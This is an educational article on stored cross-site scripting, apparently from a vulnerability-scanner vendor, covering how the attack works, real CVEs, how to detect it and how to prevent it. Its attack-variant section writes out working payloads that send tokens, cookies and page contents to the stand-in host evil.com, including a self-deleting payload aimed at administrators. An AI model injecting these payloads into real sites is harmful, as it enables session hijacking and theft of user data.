Stored XSS

What is Stored XSS#

Stored XSS (CWE-79, Type-2 XSS in the OWASP taxonomy) is a persistent injection vulnerability where an attacker writes a malicious script to a server-side data store — a database record, file system, log entry, or cache — and the script executes in every subsequent visitor's browser when the affected page is rendered. Unlike reflected XSS, stored XSS requires no social engineering after the initial injection: any user who loads the infected page triggers the payload automatically.

The severity scales directly with who views the injected content. A payload visible only to the original author is low-severity. The same payload stored in a public comment thread reaches every site visitor. When the payload fires in an administrator's browser — the most valuable target — it can create new admin accounts, inject persistent backdoors, and exfiltrate all user data. This is why stored XSS on admin-visible surfaces reaches CVSS 9.3 Critical (CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N).

Mechanism#

The stored XSS lifecycle has four distinct steps: write, store, retrieve, and render.

1. Write: Attacker submits payload through any write endpoint — form field, REST API, file upload
2. Store: Application persists the payload without sanitization into a database record, file, or log
3. Retrieve: Any user (including administrators) loads a page that fetches the stored data
4. Render: The application inserts the stored data into an HTML response without output encoding — the browser executes it as JavaScript

The attack surface covers every place the application accepts text that is later rendered as HTML. Many injection points are invisible to surface-level testing because the write and render endpoints have different URL paths.

Injection Surfaces#

Common write endpoints that feed high-value render contexts:

Attack Variants#

HTML Body Injection#

The most straightforward variant: the payload lands directly in HTML body context.

POST /api/comments
Content-Type: application/json
Authorization: Bearer eyJ...
 
{
  "body": "<script>fetch('https://evil.com/steal?t='+localStorage.getItem('token'))</script>"
}

When the comment renders, every visitor's token is exfiltrated to the attacker's server.

SVG File Upload#

SVG files are XML with full scripting capabilities. An application that serves uploaded SVGs with Content-Type: image/svg+xml — or embeds them inline — executes any JavaScript in the SVG.

<!-- malicious.svg — uploaded as user avatar -->
<svg xmlns="http://www.w3.org/2000/svg" onload="
  fetch('https://evil.com/steal?c='+btoa(document.cookie))
">
  <circle r="50" cx="50" cy="50" fill="red"/>
</svg>

HackerOne #3357808 (Nextcloud, bounty $150) and HackerOne #3293290 (Nextcloud Contacts, bounty $100) both exploited SVG upload stored XSS in 2025. HackerOne #2257080 (GitLab, 71 upvotes) exploited the same vector through Markdown rendering.

Markdown HTML Passthrough#

Many Markdown renderers allow raw HTML passthrough for rich formatting. If the HTML is not sanitized before rendering, any event handler survives.

Normal text here.
 
<img src="x" onerror="fetch('https://evil.com/steal?d='+btoa(document.body.innerHTML).slice(0,200))">
 
More text.

Admin Notification / Beacon Pattern#

Payloads specifically crafted to fire in administrator contexts — no public visibility required.

POST /api/users/profile
Content-Type: application/json
 
{
  "display_name": "Alice<img src=x id='bvx-fire' onerror=\"this.parentNode.removeChild(this);fetch('https://evil.com/fire',{method:'POST',body:JSON.stringify({cookie:document.cookie,url:location.href,dom:document.body.innerHTML.slice(0,500)})})\">Johnson"
}

The payload fires when any admin views a user list or profile page. The removeChild call deletes the evidence from the DOM after execution.

Real-World Examples#

CVE-2024-49038 — Microsoft Copilot Studio (CVSS 9.3 Critical) Published November 2024. Microsoft's AI chatbot building platform allowed unauthenticated attackers to inject scripts via insufficient input sanitization during web page generation. The payload executed in authenticated user sessions, enabling cross-tenant lateral movement within Microsoft 365 tenants — session hijack, token theft, and full organization compromise. Patched in the November 26, 2024 Patch Tuesday release.

CVE-2024-2194 — WP Statistics (>600,000 installs, CVSS 7.2) Stored XSS injected via the URL search parameter — stored without sanitization, then rendered unencoded in the administrator's analytics dashboard. Fastly CDN telemetry recorded mass exploitation waves from Netherlands-based IP ranges in 2024. An unauthenticated attacker could persistently execute scripts in every administrator session until the payload was discovered and removed.

CVE-2024-0007 — PAN-OS Panorama (CVSS 9.0 Critical) Palo Alto Networks Panorama management interface allowed authenticated users to inject persistent scripts visible to all administrators. In a shared-access enterprise management console, any junior user can escalate to full administrator control by targeting higher-privilege sessions.

Detection#

Manual Testing#

1. Enumerate write endpoints: Every POST, PUT, and PATCH endpoint that accepts text fields is a candidate
2. Submit a unique canary: <img src=x id="xss-canary-001"> — unique enough to grep for in the database, innocuous enough not to trigger WAF alerts
3. Locate the render endpoint: Follow any Location redirect header; strip write-verb suffixes (/new, /create, /add) from the write URL to derive the read-back URL
4. Inspect rendering context: Load the read-back URL and examine where the canary appears in the response — HTML body, attribute, JS string, or JSON
5. Confirm execution: Submit an onerror payload in the correct context; verify JavaScript execution in a fresh browser session

Automated Detection#

• Burp Suite Pro active scan handles write + read-back correlation for simple cases
• Dalfox --blind mode with an OOB callback URL covers cases where canary and execution are temporally separated
• BreachVex — submits canaries across common REST text field names, normalizes write URLs to their read-back paths, and confirms execution in a real browser

BreachVex detects stored XSS via a write-then-readback canary model: the scan submits a unique marked img tag to each write endpoint, strips known write-verb URL suffixes to derive the read-back URL, and verifies that the canary appears unencoded in the rendered HTML.

Prevention#

Output Encoding (Primary Defense)#

Encode stored data at the rendering step, not the storage step. Context determines the encoding:

from markupsafe import escape
import json
 
# Safe: HTML-encode at render time in Jinja2 template
# {{ user_comment | e }}   → HTML entity encoding (Jinja2 default)
# {{ user_comment | safe }} → DANGEROUS: bypasses encoding
 
# Python — explicit encoding
safe_html = escape(stored_comment)  # & " ' < > → HTML entities
 
# JavaScript context — always JSON-encode
safe_js = json.dumps(stored_value)  # wraps in double-quotes, escapes \, ", \n

HTML Sanitization for Rich Text#

When users must author HTML (WYSIWYG editors, Markdown with HTML), use DOMPurify — the only sanitizer recommended by OWASP for browser-side sanitization:

import DOMPurify from 'dompurify';
 
// Paranoid configuration — minimal allowed tags
const safeHTML = DOMPurify.sanitize(storedHTML, {
  ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p', 'br', 'ul', 'ol', 'li'],
  ALLOWED_ATTR: ['href', 'title'],
  ALLOW_DATA_ATTR: false,
  FORCE_BODY: false,
});
 
// NEVER concatenate or mutate sanitized output:
element.innerHTML = safeHTML;  // OK
element.innerHTML = safeHTML + userAddedSuffix;  // mXSS risk — re-sanitize

SVG File Upload Hardening#

# Nginx — serve user-uploaded SVGs as download, never as inline document
location /uploads/svg/ {
    add_header Content-Disposition "attachment";
    add_header Content-Type "application/octet-stream";
    # Never: Content-Type: image/svg+xml for user-uploaded SVG
}

Safe rendering in HTML: use <img src="user.svg"> — browsers disable scripting for SVG in <img> context. Never use <iframe src="user.svg"> or <object> for user-controlled SVG files.

Framework Escape Hatches to Avoid#

Resources#

• XSS — Pillar Overview
• OWASP XSS Prevention Cheat Sheet
• DOMPurify GitHub — Latest Release
• CVE-2024-49038 — Microsoft Copilot Studio